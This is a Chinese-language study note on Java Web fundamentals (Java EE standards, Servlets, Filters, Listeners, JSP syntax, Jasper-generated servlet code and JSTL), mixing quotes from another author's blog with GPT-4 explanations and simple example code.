Contents

Java Web 安全研究初探

本文是俺对 evilpan 大佬https://evilpan.com/2023/04/01/java-ee/博文的阅读笔记与补充:)

前言

“Java 安全,通常指代的是 Java Web 安全。在刚开始学习的一段时间里,面对众多的框架和名词,比如 Spring、Weblogic、EJB、AKB,等等,总感觉狗啃泰山无从下嘴。于是就有了这篇文章,旨在记录学习过程中遇到的所有问题,希望也能对像我一样的初学者有所帮助。”

Java EE

“搞过 Java Web 开发的多少会知道 JavaEE。从字面上来看,它的意思是 Java Platform, Enterprise Edition,即 Java 平台企业版。这个名称有够抽象,实际上 Java EE 包含了一系列标准,这些标准主要用来为企业级应用提供分布式计算、Web 服务等的统一定义和接口。另外,这些标准在设计之初就考虑了安全性、拓展性、并发等能力。”

Java EE(Java Platform, Enterprise Edition)是一个用于开发企业级应用程序的Java平台。它是Java SE(Java Platform, Standard Edition)的扩展,提供了一系列API和组件,用于构建可扩展、安全、可靠的网络应用程序和企业应用程序。

Java EE提供了许多技术和服务,包括但不限于:

  1. Java Servlets:用于处理HTTP请求和响应的服务端技术。
  2. JavaServer Pages (JSP):用于生成动态HTML内容的服务端页面技术。
  3. JavaServer Faces (JSF):一个基于组件的Web应用程序框架,用于简化用户界面开发。
  4. Enterprise JavaBeans (EJB):用于封装业务逻辑的服务端组件模型。
  5. Java Persistence API (JPA):用于处理关系型数据库的对象关系映射(ORM)API。
  6. Contexts and Dependency Injection (CDI):一个依赖注入和上下文管理框架,用于简化Java EE应用程序的开发。
  7. Java Message Service (JMS):一个用于发送和接收消息的API,支持异步通信和松耦合架构。
  8. Java Transaction API (JTA):一个用于管理事务的API,支持分布式事务处理。

在2019年,Java EE被Eclipse Foundation接管,并更名为Jakarta EE。尽管名称已经改变,但Jakarta EE的目标仍然是继续发展Java EE技术,并保持向后兼容性。随着这个转变,Java EE的开发变得更加开放和社区驱动,有利于技术的持续发展和创新。

“Java EE 是在 Java SE(Standard Edition) 的基础上建立的,并增加了许多额外的特性和技术来方便构建高可用的企业级应用。Java 中的标准一般定义在 JSR 中,即 Java Specification Requests。例如,Java EE 所涉及的标准就在 JSRs by Platform - Java EE,其中包含了一些已经撤回的。”

从这些提案(标准)中,我们大概可以知道 Java EE 所涵盖的一些方向,比如:

  • jsr-9: XML Parsing Specification, 定义了 Java 中对 XML 进行处理的接口 (JAXP);
  • jsr-19: Enterprise JavaBeans 2.0,即 EJB,提供了易管理的企业级组件定义和接口;
  • jsr-52: A Standard Tag Library for JavaServer PagesTM,定义了 JSP 中标签库的标准;
  • jsr-53: JavaTM Servlet 2.3 and JavaServer PagesTM 1.2 Specifications,定义了 Servlet 和 JSP 的标准;
  • jsr-367: JavaTM API for JSON Binding (JSON-B),定义了 Java 对象到 JSON 之间转换(序列化/反序列化) 的标准;

“除此之外还有许多其他的定义,如 EJB,JSF (JavaServer Faces),CDI (Contexts and Dependency Injection),JavaMail 等,这里其实可以不用太过关注,在需要深入理解的时候再阅读其文档即可。”

Servlet

“Servlet 可以说是 Java Web 开发中基础的基础。可能和我差不多的中年人都会知道早期 Web 开发大多是基于 CGI 的,即写一个二进制程序或者 Perl 脚本去处理 Web 服务器的 HTTP 请求,请求的内容会封装到环境变量里。Sun 公司在 1996 年发布 Servlet 技术就是为了和 CGI 进行竞争,Servlet 这个名字是 Server Applet 的缩写,即服务端小程序。”

GPT-4:

Servlet(Java Servlet)是一种基于Java的服务端技术,用于处理客户端发送的HTTP请求并生成响应。Servlet是Java Web应用程序的核心组成部分,用于接收和处理来自Web浏览器或其他HTTP客户端的请求,然后返回HTML页面、文本、图像或其他数据类型的响应。

Servlet的主要优点在于它的可扩展性、可移植性和高性能。作为Java平台的一部分,Servlet可以运行在任何支持Java的操作系统上,并且可以在多种Web服务器和应用服务器中部署。

Servlet的生命周期通常包括以下三个阶段:

  1. 初始化(Initialization):当Servlet被Web服务器加载并实例化时,init()方法会被调用。这个阶段通常用于执行一次性的初始化操作,如加载配置文件等。
  2. 处理请求(Request handling):当客户端发送HTTP请求时,Servlet的service()方法会被调用。service()方法负责根据请求类型(如GET、POST等)调用适当的方法(如doGet()doPost())。在这个阶段,Servlet处理请求并生成响应。
  3. 销毁(Destruction):当Servlet被卸载时,destroy()方法会被调用。这个阶段通常用于释放资源和执行清理操作。

为了创建一个Servlet,你需要继承javax.servlet.http.HttpServlet类并覆盖相应的方法,如doGet()doPost()等。然后,你需要在Web应用程序的web.xml文件中配置Servlet,或者使用Java注解(如@WebServlet)来声明Servlet。

总之,Servlet是Java Web应用程序中处理HTTP请求的核心组件,它提供了一个可扩展、可移植且高性能的服务端技术。

从上面的介绍也可以看到,Servlet 本身也是一个 Java EE 的标准,比如 Java Servlet 3.1 就是其中一个版本。一般开发者可能很少需要直接阅读标准文档,且文档中也说明其目标主要是 Web 服务器的开发者。不过作为安全研究人员,我们可以从中学习到很多 Servlet 的基础架构和设计思想。

从实现上来说,Servlet 是一个实现了特定接口的 Web 组件,由 Servlet 容器去加载并运行。容器 本身并不一定是 Web 服务器,但容器需要至少支持 HTTP 请求,并将请求的内容封装成 Servlet 接口的参数;因此容器通常与 Web 服务器集成或者作为其拓展而存在。目前常见的 Servlet 容器如 Tomcat、GlassFish、JBoss 等,同样也具备 Web 服务器的功能。

GPT-4:

这段话描述了Servlet的实现和它在Java Web应用中的角色。让我们分解这段话以了解更多细节:

  1. 实现特定接口的Web组件:Servlet是一个实现了特定接口(如javax.servlet.Servletjavax.servlet.http.HttpServlet)的Java类。这些接口定义了Servlet的基本结构和方法,使得Servlet可以处理HTTP请求。
  2. Servlet容器:Servlet容器负责加载、管理和运行Servlet。它是Java Web应用程序的核心组件,负责处理客户端的请求并将其转发给相应的Servlet进行处理。Servlet容器还负责管理Servlet的生命周期。
  3. 容器与Web服务器的关系:虽然Servlet容器不一定是Web服务器,但它需要支持HTTP请求并将请求内容封装成Servlet接口的参数。因此,Servlet容器通常与Web服务器集成,或作为其扩展而存在。这种集成允许Web服务器接收HTTP请求,并将这些请求传递给Servlet容器进行处理。
  4. 常见的Servlet容器:Tomcat、GlassFish和JBoss等都是常见的Servlet容器,它们同时也具备Web服务器的功能。这意味着它们既可以接收和处理HTTP请求,也可以运行和管理Servlet。

总之,这段话解释了Servlet的实现方式和它在Java Web应用程序中的作用。Servlet是实现了特定接口的Web组件,由Servlet容器(如Tomcat、GlassFish或JBoss)加载并运行。Servlet容器处理HTTP请求,并将请求内容封装成Servlet接口的参数,从而与Web服务器集成或作为其扩展。

根据文档所述,一个基础的 Servlet 接口如下所示:

package javax.servlet;

import java.io.IOException;

public interface Servlet {
    void init(ServletConfig var1) throws ServletException;
    ServletConfig getServletConfig();
    void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException;
    String getServletInfo();
    void destroy();
}

其中重要的接口是 service 方法,用于处理客户端的请求,并填充所需的返回结果。initdestory 是生命周期方法,在 Servlet 被加载和销毁时只执行一次。 getServletConfig 返回的对象是类似 name/value 格式的配置信息,由用户配置文件中进行传入。

HelloSerlet

“为了方便开发者进行快速的原型开发,在 JDK 中已经实现了常用的 Servlet 功能,即 GenericServlet,而对于 HTTP 请求,又进一步实现了 HttpServlet 抽象类。这样,如果用户需要编写一个 Servlet 处理如 GET/POST 请求,只需要重写对应的方法即可。”

使用 IDEA 自动创建的示例 Servlet 如下:

import java.io.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;

@WebServlet(name = "helloServlet", value = "/hello")
public class HelloServlet extends HttpServlet {
    private String message;

    public void init() {
        message = "Hello World!";
    }

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        response.setContentType("text/html");

        // Hello
        PrintWriter out = response.getWriter();
        out.println("<html><body>");
        out.println("<h1>" + message + "</h1>");
        out.println("</body></html>");
    }

    public void destroy() {
    }
}

“值得注意的是,正常情况下定义好 HelloServlet 类之后,容器并不知道这个类的存在,也不知道应该将什么 HTTP 路径映射到这个 Servlet,传统上需要用户自己修改 web.xml 配置文件(这也是 Servlet 标准的一部分),添加 <servlet><servlet-mapping> 标签来指定这些信息。在 Servlet 3.0 之后,就可以使用注解的方式配置 Servlet 了,如上面的 WebServlet 注解。”

这段话解释了如何让Servlet容器识别并管理一个自定义的Servlet类(如HelloServlet),以及如何将指定的HTTP路径映射到这个Servlet。这里提到了两种配置方法:传统的web.xml配置文件方式和Servlet 3.0引入的基于注解的配置方式。

  1. 传统的web.xml配置文件方式:在这种方法中,开发者需要在web.xml配置文件中添加<servlet><servlet-mapping>标签,以指定Servlet类的名称、映射的URL等信息。Servlet容器将根据这些配置信息加载并管理相应的Servlet实例。

    例如:

    <servlet>
        <servlet-name>HelloServlet</servlet-name>
        <servlet-class>com.example.HelloServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>HelloServlet</servlet-name>
        <url-pattern>/hello</url-pattern>
    </servlet-mapping>
    

    这里,<servlet-class>标签指定了Servlet类的全限定名,而<url-pattern>标签定义了请求的URL路径映射到HelloServlet。

  2. 基于注解的配置方式:从Servlet 3.0开始,可以使用注解(如@WebServlet)来配置Servlet。这种方式不再需要修改web.xml文件,而是直接在Servlet类上添加注解,指定其名称和URL映射。

    例如:

    @WebServlet(name = "HelloServlet", urlPatterns = "/hello")
    public class HelloServlet extends HttpServlet {
        // ...
    }
    

    这里,@WebServlet注解指定了Servlet的名称和URL映射。Servlet容器会根据这些注解信息自动加载并管理Servlet实例。

Filter

Java Servlet中的Filter是一种可用于处理HTTP请求和响应的组件。它们通常用于实现诸如身份验证、授权、日志记录、编码转换等功能。Filter可以在请求到达Servlet之前处理请求,也可以在响应离开Servlet后处理响应。它们是基于Java Servlet技术的一个重要特性,通常用于实现横切关注点(cross-cutting concerns)。

一个简单的示例如下:

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import java.io.PrintWriter;

@WebFilter(filterName = "HelloFilter", urlPatterns = {"/*"})
public class HelloFilter implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        String passwd = servletRequest.getParameter("passwd");
        if (passwd != null && passwd.equals("123456")) {
            filterChain.doFilter(servletRequest, servletResponse);
        } else {
            try (PrintWriter out = servletResponse.getWriter()) {
                out.println("passwd error!");
            }
        }
    }

    @Override
    public void destroy() {

    }
}

Filter接口定义了三个方法:

  1. void init(FilterConfig filterConfig): 当Filter被Servlet容器初始化时调用。FilterConfig对象包含了Filter的配置信息,如初始化参数等。这个方法通常用于执行一次性的初始化操作。
  2. void doFilter(ServletRequest request, ServletResponse response, FilterChain chain): 当请求和响应经过Filter时,此方法被调用。它接收三个参数:ServletRequest(请求对象),ServletResponse(响应对象),和FilterChain(过滤器链)。在doFilter方法中,可以修改请求和响应对象,或者根据需要决定是否继续处理(即调用chain.doFilter(request, response))。如果不调用chain.doFilter(request, response),则请求处理会在当前Filter处停止。
  3. void destroy(): 在Filter被卸载之前,此方法被Servlet容器调用。通常用于释放资源,如关闭数据库连接等。

要创建一个Filter,需要实现javax.servlet.Filter接口,并覆盖这些方法。然后需要通过web.xml文件或者使用注解(如@WebFilter)配置Filter。

以下是一个简单的Filter示例,实现日志记录功能:

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter(urlPatterns = "/*")
public class LoggingFilter implements Filter {

    @Override
    public void init(FilterConfig filterConfig) {
        // 初始化操作,如打开日志文件等
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        // 记录请求信息
        System.out.println("Request received: " + request.getRemoteAddr());

        // 继续处理请求(调用其他Filter或Servlet)
        chain.doFilter(request, response);

        // 记录响应信息
        System.out.println("Response sent: " + response.getContentType());
    }

    @Override
    public void destroy() {
        // 清理操作,如关闭日志文件等
    }
}

在这个示例中,我们使用@WebFilter(urlPatterns = "/*")注解配置Filter,使其应用于所有请求。doFilter方法记录请求和响应的信息,然后调用chain.doFilter(request, response)以继续处理请求。

总之,Java Servlet中的Filter是一种用于处理请求和响应的组件,可以实现如身份验证、授权、日志记录等功能。通过实现Filter接口并配置相应的映射,可以在Servlet容器中使用Filter。

“Servlet 中另一个常用的特性是 Filter,用于为所有 Servlet 添加全局性的鉴权和过滤”

“上述例子同样使用了注解来添加,如果使用配置文件的方式,可以在 web.xml 中加上对应的 <filter><filter-mapping> 标签。这里有个比较值得注意的点事 urlPatterns 的匹配方式,一开始我以为是正则表达式,但其实在 Servlet 的标准中有明确的定义,比如优先进行精确匹配,否则使用最长的路径匹配,然后是后缀匹配等,规则定义在标准的 12 章 (Mapping Requests to Servlets) 中,可以配合容器的源码去进行分析。”

“另外 Servlet 标准中还支持注册 Listener 作为监听器,实现上下文、会话、请求的监听能力,主要用于线上人数的统计和会话的监控和处理。实现方法与 Servlet/Filter 大同小异,这里就不再举例了。”

在Java Servlet标准中,监听器(Listener)被用于监听应用程序中的不同事件,例如:Servlet上下文(Context)的创建和销毁、HTTP会话(Session)的创建和销毁、以及请求(ServletRequest)的创建和销毁。监听器可以用于实现各种功能,如在线人数统计、会话监控、资源初始化和清理等。

要使用监听器,需要实现相应的监听器接口,并在web.xml文件中注册监听器,或者使用注解(如@WebListener)进行注册。以下是Servlet标准中的主要监听器接口:

  1. ServletContextListener: 用于监听Servlet上下文的创建和销毁事件。实现此接口,可以在应用程序启动和关闭时执行一些操作,如初始化资源、关闭数据库连接等。
  2. HttpSessionListener: 用于监听HTTP会话的创建和销毁事件。实现此接口,可以在会话创建和销毁时执行一些操作,如统计在线人数、清理会话资源等。
  3. ServletRequestListener: 用于监听ServletRequest的创建和销毁事件。实现此接口,可以在请求创建和销毁时执行一些操作,如记录请求日志、设置请求属性等。

以下是一个简单的示例,实现HttpSessionListener以统计在线人数:

import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpSessionEvent;
import javax.servlet.http.HttpSessionListener;
import java.util.concurrent.atomic.AtomicInteger;

@WebListener
public class OnlineUserCounter implements HttpSessionListener {

    private AtomicInteger onlineUserCount = new AtomicInteger(0);

    @Override
    public void sessionCreated(HttpSessionEvent se) {
        // 会话创建,增加在线人数
        int count = onlineUserCount.incrementAndGet();
        System.out.println("New session created. Online users: " + count);
    }

    @Override
    public void sessionDestroyed(HttpSessionEvent se) {
        // 会话销毁,减少在线人数
        int count = onlineUserCount.decrementAndGet();
        System.out.println("Session destroyed. Online users: " + count);
    }
}

在这个示例中,我们使用@WebListener注解注册监听器。

OnlineUserCounter实现了HttpSessionListener接口,通过原子整数AtomicInteger来安全地统计在线人数。每当有新的会话创建时,sessionCreated方法被调用并增加在线人数;每当有会话销毁时,sessionDestroyed方法被调用并减少在线人数。

总之,Servlet标准中的监听器(Listener)用于监听应用程序中的不同事件,如上下文、会话和请求的创建和销毁。通过实现相应的监听器接口并进行注册,可以实现诸如在线人数统计、会话监控等功能。与Servlet和Filter类似,监听器是Java Web应用程序中的一个重要组件。

“Servlet 的标准经过了多个版本的迭代,一些关键的版本和特性如下:

  • Java Servlet 2.0 (1997): JDK 1.1
  • Java Servlet 2.1 (1998): 第一个官方版本的标准,增加 RequestDispatcherServletContext
  • Java Servlet 2.2 (1999): 正式成为 J2EE 的一部分,引入 .war 独立 web 应用格式;
  • Java Servlet 2.3 (2001): 增加 Filter API,即上文介绍的过滤器;
  • Java Servlet 2.5 (2005): 要求 Java SE 5,开始支持注解;
  • Java Servlet 3.0 (2009): 改善注解处理,引入了 @WebServlet@WebFilter 等注解支持部分参数化;支持文件上传;
  • Java Servlet 3.1 (2013): 支持非阻塞 I/O,Websocket;
  • Java Servlet 4.0 (2017): 支持 HTTP/2;
  • Jakarta Servlet 4.0.3 (2019): 捐赠给 Eclipse 开源基金,重命名 Java 商标;
  • Jakarta Servlet 5.0 (2020): 包名从 javax.servlet 转为 jakarta.servlet
  • Jakarta Servlet 6.0 (2022): 增加了一些没人关心的特性;

完整的列表可以参考 Wikipedia 中的 Servlet API history 一节。”

JSP

“虽然我们可以用 Servlet 来生成网页中的动态内容,但这个过程相对繁琐。从上面的示例代码中可以看出,所有文本和标签都是硬编码,即使只做出微小的修改,也需要对源码进行重新编译和部署。JSP 解决了 Servlet 的这些问题,它是 Servlet 很好的补充,可以专门用作为用户呈现视图(View),而 Servlet 作为控制器(Controller)专门负责处理用户请求并转发或重定向到某个页面。

JSP 的全称是 Java Server Pages,包含一系列技术的组合,既表示动态网页的框架,也表示一种文件类型。JSP 的标准为 JSR 245,其中包含两个主要文档,分别是 JSP 的标准文档和 JSP EL 表达式的标准。”

Java Server Pages (JSP) 是一种基于 Java 的服务器端技术,用于动态创建和呈现 Web 页面。JSP 技术可以与 HTML、XML、JavaScript 或其他 Web 技术结合使用,提供灵活的 Web 应用程序开发方式。

JSP 技术允许 Web 开发人员将 Java 代码嵌入到 HTML 页面中,以便在服务器端执行,生成响应内容。JSP 文件的扩展名通常为 .jsp

基本语法

“JSP 的基本语法可以总结如下:

  • <% code %> scriptlet 可以用来包裹和执行 Java 代码,也可以用 <jsp:scriptlet> 标签来进行包含;
  • <%! declaration; [ declaration; ]+ ... %> 用于变量声明,同 <jsp:declaration>
  • <%= expr %> 用来包括和执行表达式,表达式的结果作为 HTML 的内容,同 <jsp:expression>
  • <%-- comment --%> 为 JSP 注释,注释中的内容会被 JSP 引擎忽略;
  • <%@ directive attribute="value" %> 指令,影响对应 Servlet 的类结构,后面细说;
  • <jsp:action_name attribute="value" /> 使用 XML 控制 Servlet 引擎的的行为,称为 action;

完整的语法可以参考本节末尾的 JSP Tutorial 或者相关教程。”

JSP 基本语法包括以下几种元素:

  1. 指令:指令用于设置 JSP 页面的属性和行为。指令以 <%@ 开始,以 %> 结束。常见的 JSP 指令包括:

    • page 指令:用于定义页面特性,如编码、缓存策略等。
    • include 指令:用于将其他文件(如 HTML 或 JSP 文件)的内容包含到当前页面中。
    • taglib 指令:用于引入 JSP 标签库,以便使用自定义标签。

    示例:

    <%@ page contentType="text/html;charset=UTF-8" %>
    <%@ include file="header.jsp" %>
    <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
    
  2. 脚本元素:JSP 支持三种类型的脚本元素,用于嵌入 Java 代码:

    • 声明:声明用于定义变量和方法,以 <%! 开始,以 %> 结束。
    • 脚本片段:脚本片段用于执行 Java 代码,以 <% 开始,以 %> 结束。
    • 表达式:表达式用于输出 Java 表达式的值,以 <%= 开始,以 %> 结束。

    示例:

    <%! int count = 0; %>
    <% count++; %>
    <%= "访问次数:" + count %>
    
  3. JSP 标准动作:JSP 提供了一组预定义的动作元素,以 XML 格式表示,用于执行特定任务。常见的标准动作包括:

    • <jsp:include>:包含其他文件的内容。
    • <jsp:forward>:将请求转发到另一个资源。
    • <jsp:param>:向包含或转发的资源传递参数。
    • <jsp:useBean>:实例化 JavaBean,或者获取现有 JavaBean 的引用。
    • <jsp:setProperty>:设置 JavaBean 的属性值。
    • <jsp:getProperty>:获取 JavaBean 的属性值。

    示例:

    <jsp:useBean id="user" class="com.example.User" />
    <jsp:setProperty name="user" property="name" value="John Doe" />
    <p>Name: <jsp:getProperty name="user" property="name" /></p>
    
  4. JSP 标签库:JSP 标签库是一组自定义标签,用于简化 JSP 页面中的复杂逻辑。常用的 JSP 标签库包括 JavaServer Pages Standard Tag Library (JSTL)。JSTL 包含以下几个标签库:

    • Core:用于基本流程控制和变量操作,如 <c:if><c:forEach> 等。
    • Formatting:用于格式化和国际化,如 <fmt:formatDate><fmt:message> 等。
    • XML:用于处理 XML 数据,如 <x:parse><x:forEach> 等。
    • SQL:用于执行 SQL 查询,如 <sql:query><sql:update> 等。
    • Functions:用于提供通用字符串处理函数,如 fn:trimfn:contains 等。

    示例:

    <c:forEach var="i" begin="1" end="10">
      <p>当前数字是:${i}</p>
    </c:forEach>
    

JSP 技术是一种易于使用且功能强大的服务器端技术,用于构建动态 Web 应用程序。通过 JSP,你可以在 HTML 页面中嵌入 Java 代码,实现服务器端的逻辑处理。JSP 提供了多种语法元素,包括指令、脚本元素、标准动作和标签库,帮助开发者更有效地编写 Web 应用程序。

在实际开发中,为了提高代码的可读性和可维护性,通常会将业务逻辑和页面展示分离。这可以通过使用模型-视图-控制器(MVC)设计模式来实现。在基于 JSP 的 MVC 架构中,JSP 页面主要负责视图层,负责呈现数据;Java Servlet 负责控制器层,处理请求并调用模型层(Java 类)完成业务逻辑处理。

使用 JSP 技术的一些最佳实践包括:

  1. 尽量减少 JSP 页面中的 Java 代码,将业务逻辑移到 Servlet 和 Java 类中。
  2. 使用 JSTL 和自定义标签库简化 JSP 页面,避免复杂的脚本逻辑。
  3. 使用 include 指令或 <jsp:include> 动作将页面分割成可重用的组件。
  4. 使用 JavaBean 和 JSP 标准动作(如 <jsp:useBean><jsp:setProperty><jsp:getProperty>)进行数据传递和操作。
  5. 遵循 MVC 设计模式,将视图、控制器和模型层代码清晰地分离。

JSP 技术现已成为 Java Web 开发的重要组成部分。尽管如今有许多其他服务器端技术,如 Spring Boot、JavaServer Faces(JSF)等,但 JSP 依然是许多 Java Web 应用程序的核心技术。掌握 JSP 的基本语法和最佳实践,将有助于你更有效地构建高质量的 Java Web 应用程序。

JspServlet

“JSP 作为一个脚本引擎,其本质上也是通过 Servlet 实现的,即 JSP 会被容器编译为对应的 Servlet 并加载。例如,下述简单的 index.jsp 文件:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<h1> config = <%=config%> </h1>

在被 Tomcat 容器加载后会生成如下的 Java 文件:

package org.apache.jsp;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;

public final class index_jsp extends org.apache.jasper.runtime.HttpJspBase
    implements org.apache.jasper.runtime.JspSourceDependent,
                 org.apache.jasper.runtime.JspSourceImports {

  private static final javax.servlet.jsp.JspFactory _jspxFactory =
          javax.servlet.jsp.JspFactory.getDefaultFactory();

  private static java.util.Map<java.lang.String,java.lang.Long> _jspx_dependants;

  private static final java.util.Set<java.lang.String> _jspx_imports_packages;

  private static final java.util.Set<java.lang.String> _jspx_imports_classes;

  static {
    _jspx_imports_packages = new java.util.HashSet<>();
    _jspx_imports_packages.add("javax.servlet");
    _jspx_imports_packages.add("javax.servlet.http");
    _jspx_imports_packages.add("javax.servlet.jsp");
    _jspx_imports_classes = null;
  }

  private volatile javax.el.ExpressionFactory _el_expressionfactory;
  private volatile org.apache.tomcat.InstanceManager _jsp_instancemanager;

  public java.util.Map<java.lang.String,java.lang.Long> getDependants() {
    return _jspx_dependants;
  }

  public java.util.Set<java.lang.String> getPackageImports() {
    return _jspx_imports_packages;
  }

  public java.util.Set<java.lang.String> getClassImports() {
    return _jspx_imports_classes;
  }

  public javax.el.ExpressionFactory _jsp_getExpressionFactory() {
    if (_el_expressionfactory == null) {
      synchronized (this) {
        if (_el_expressionfactory == null) {
          _el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
        }
      }
    }
    return _el_expressionfactory;
  }

  public org.apache.tomcat.InstanceManager _jsp_getInstanceManager() {
    if (_jsp_instancemanager == null) {
      synchronized (this) {
        if (_jsp_instancemanager == null) {
          _jsp_instancemanager = org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager(getServletConfig());
        }
      }
    }
    return _jsp_instancemanager;
  }

  public void _jspInit() {
  }

  public void _jspDestroy() {
  }

  public void _jspService(final javax.servlet.http.HttpServletRequest request, final javax.servlet.http.HttpServletResponse response)
      throws java.io.IOException, javax.servlet.ServletException {

    if (!javax.servlet.DispatcherType.ERROR.equals(request.getDispatcherType())) {
      final java.lang.String _jspx_method = request.getMethod();
      if ("OPTIONS".equals(_jspx_method)) {
        response.setHeader("Allow","GET, HEAD, POST, OPTIONS");
        return;
      }
      if (!"GET".equals(_jspx_method) && !"POST".equals(_jspx_method) && !"HEAD".equals(_jspx_method)) {
        response.setHeader("Allow","GET, HEAD, POST, OPTIONS");
        response.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, "JSPs only permit GET, POST or HEAD. Jasper also permits OPTIONS");
        return;
      }
    }

    final javax.servlet.jsp.PageContext pageContext;
    javax.servlet.http.HttpSession session = null;
    final javax.servlet.ServletContext application;
    final javax.servlet.ServletConfig config;
    javax.servlet.jsp.JspWriter out = null;
    final java.lang.Object page = this;
    javax.servlet.jsp.JspWriter _jspx_out = null;
    javax.servlet.jsp.PageContext _jspx_page_context = null;


    try {
      response.setContentType("text/html;charset=UTF-8");
      pageContext = _jspxFactory.getPageContext(this, request, response,
      			null, true, 8192, true);
      _jspx_page_context = pageContext;
      application = pageContext.getServletContext();
      config = pageContext.getServletConfig();
      session = pageContext.getSession();
      out = pageContext.getOut();
      _jspx_out = out;

      out.write("\n");
      out.write("<h1> config = ");
      out.print(config);
      out.write(" </h1>");
    } catch (java.lang.Throwable t) {
      if (!(t instanceof javax.servlet.jsp.SkipPageException)){
        out = _jspx_out;
        if (out != null && out.getBufferSize() != 0)
          try {
            if (response.isCommitted()) {
              out.flush();
            } else {
              out.clearBuffer();
            }
          } catch (java.io.IOException e) {}
        if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
        else throw new ServletException(t);
      }
    } finally {
      _jspxFactory.releasePageContext(_jspx_page_context);
    }
  }
}

代码有点长,其中有几个重点:

  • 生成的类名与 jsp 文件名相同,不合法的字符会转换为 _,比如 index.jsp 会生成 index_jsp1.jsp 会生成 _1_jsp
  • 生成的 Java 类继承自抽象类 HttpJspBase,这个类继承自 HttpServlet
  • _jspInit_jspDestory 对应 Servlet 中的生命周期函数;_jspService 中处理客户端的请求,JSP 中的 Java 代码也会转移到这里;

该类在第一次访问的时候才会生成、编译、加载,因此对于没访问过的页面是没有对应文件的。另外,在 _jspService 方法中为了方便 JSP 的代码编写,定义了几个常用的对象,比如:

  1. request,对应客户端请求的 HttpServletRequest 对象;
  2. response,对应返回的 HttpServletResponse 对象;
  3. session,对应 HttpSession,存储当前请求会话信息;
  4. application,对应 ServletContext,用于全局共享数据;
  5. config,对应 ServletConfig 即 Servlet 的配置对象;
  6. page,为 Object 类型,指向当前 Servlet 对象;
  7. out,即控制页面输出的 JspWriter
  8. pageContext,当前页面共享数据对象;

这几个对象通常称为 JSP 的 “八大对象”,或者 “九大对象” (算上 exception 对象)。”

这是一个由 Apache Jasper 编译器自动生成的 Java 文件,它是将一个 JSP 文件(Java Server Pages)转换为 Servlet 类的结果。这段代码主要是将 JSP 文件转换为 Servlet,以便在 Java Web 应用程序中处理客户端请求和响应。这个特定的 JSP 文件只包含一个简单的 HTML 标题,显示 Servlet 配置信息。

标签库与 JSTL

“前面介绍 JSP 语法的时候提到过 directive 的语法,即 <%@ directive attribute="value" %>。在 JSP 中有三种指令类型,分别是:

  1. <%@ page ... %> 用于定义页面相关的属性,比如脚本语言类型、错误页面和缓存等;
  2. <%@ include ... %> 用语言在脚本翻译阶段包含其他文件;
  3. <%@ taglib ... %> 引入标签库的定义;

其中标签(tag)是指的是在 JSP 中一个可重用的动态组件,类似于 HTML 或者 XML 的标签,只不过多用于生成动态内容。taglib 就是一系列自定义标签的集合。JSP 支持让用户自定义标签,同时也提供了标准的标签库来方便开发,这个标准库就是 JSTL。JSTL 中常见的标签库有下面这些:

  • 核心标签库 (uri="http://java.sun.com/jsp/jstl/core”)
    • <c:out> - 输出字符串
    • <c:if> - 条件处理
    • <c:forEach> - 集合遍历
  • 格式化标签库 (uri="http://java.sun.com/jsp/jstl/fmt”)
    • <fmt:message> - 格式化并显示消息
    • <fmt:formatDate> - 格式化日期
  • SQL 标签库 (uri="http://java.sun.com/jsp/jstl/sql”)
    • <sql:setDataSource> - 指定数据源并使其可用于 SQL 操作
    • <sql:query> - 执行 SQL 查询并迭代结果集
    • <sql:update> - 通过执行 SQL 语句更新数据源
  • XML 标签库(uri="http://java.sun.com/jsp/jstl/xml”)
    • <x:parse> - 解析 XML 文档
    • <x:forEach> - 遍历 XML 文档
    • <x:out> - 输出结果
  • 函数标签库 (uri="http://java.sun.com/jsp/jstl/functions”)

关于这些标签库提供的完整功能可以参考官方文档 JavaServer Pages Standard Tag Library 1.1 Tag Reference。一个使用核心标签库的示例 JSP 如下所示:

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
<html>
<head><title>JSTL c:out Example</title></head>
<body>
<h2> <c:out value="1+1=${1+1}"/> </h2>
</body>
</html>

这是一个使用 JSTL(JavaServer Pages Standard Tag Library)的简单 JSP 页面示例,主要展示了如何使用 JSTL 的 c:out 标签。以下是对这段代码的解读:

  1. <%@ page ... %> 是一个 JSP 指令,用于设置页面的属性,如 contentTypepageEncoding。这里,它设置了响应的内容类型为 text/html; charset=UTF-8,并指定了 JSP 页面的编码方式为 UTF-8。
  2. <%@ taglib ... %> 是另一个 JSP 指令,用于导入 JSTL 标签库。在这个例子中,它导入了 JSTL 核心库(http://java.sun.com/jsp/jstl/core),并为这个库指定了一个前缀 c,这样就可以使用这个前缀来调用 JSTL 标签。
  3. <html><head><body> 标签定义了 HTML 文档的基本结构。<head> 标签中包含了元数据(如标题),而 <body> 标签中包含了要呈现给用户的实际内容。
  4. <title>JSTL c:out Example</title> 设置了页面的标题。
  5. <h2> <c:out value="1+1=${1+1}"/> </h2> 输出一个 HTML 标题。在这里,我们使用了 JSTL 的 c:out 标签,它的主要功能是对输出的文本进行转义,以防止跨站脚本攻击(XSS)。value 属性用于指定要输出的文本。在这个例子中,我们使用了 JSP 表达式 ${1+1} 计算 1+1 的结果,并将其插入到输出文本中。因此,生成的 HTML 代码将显示一个标题,内容为:1+1=2

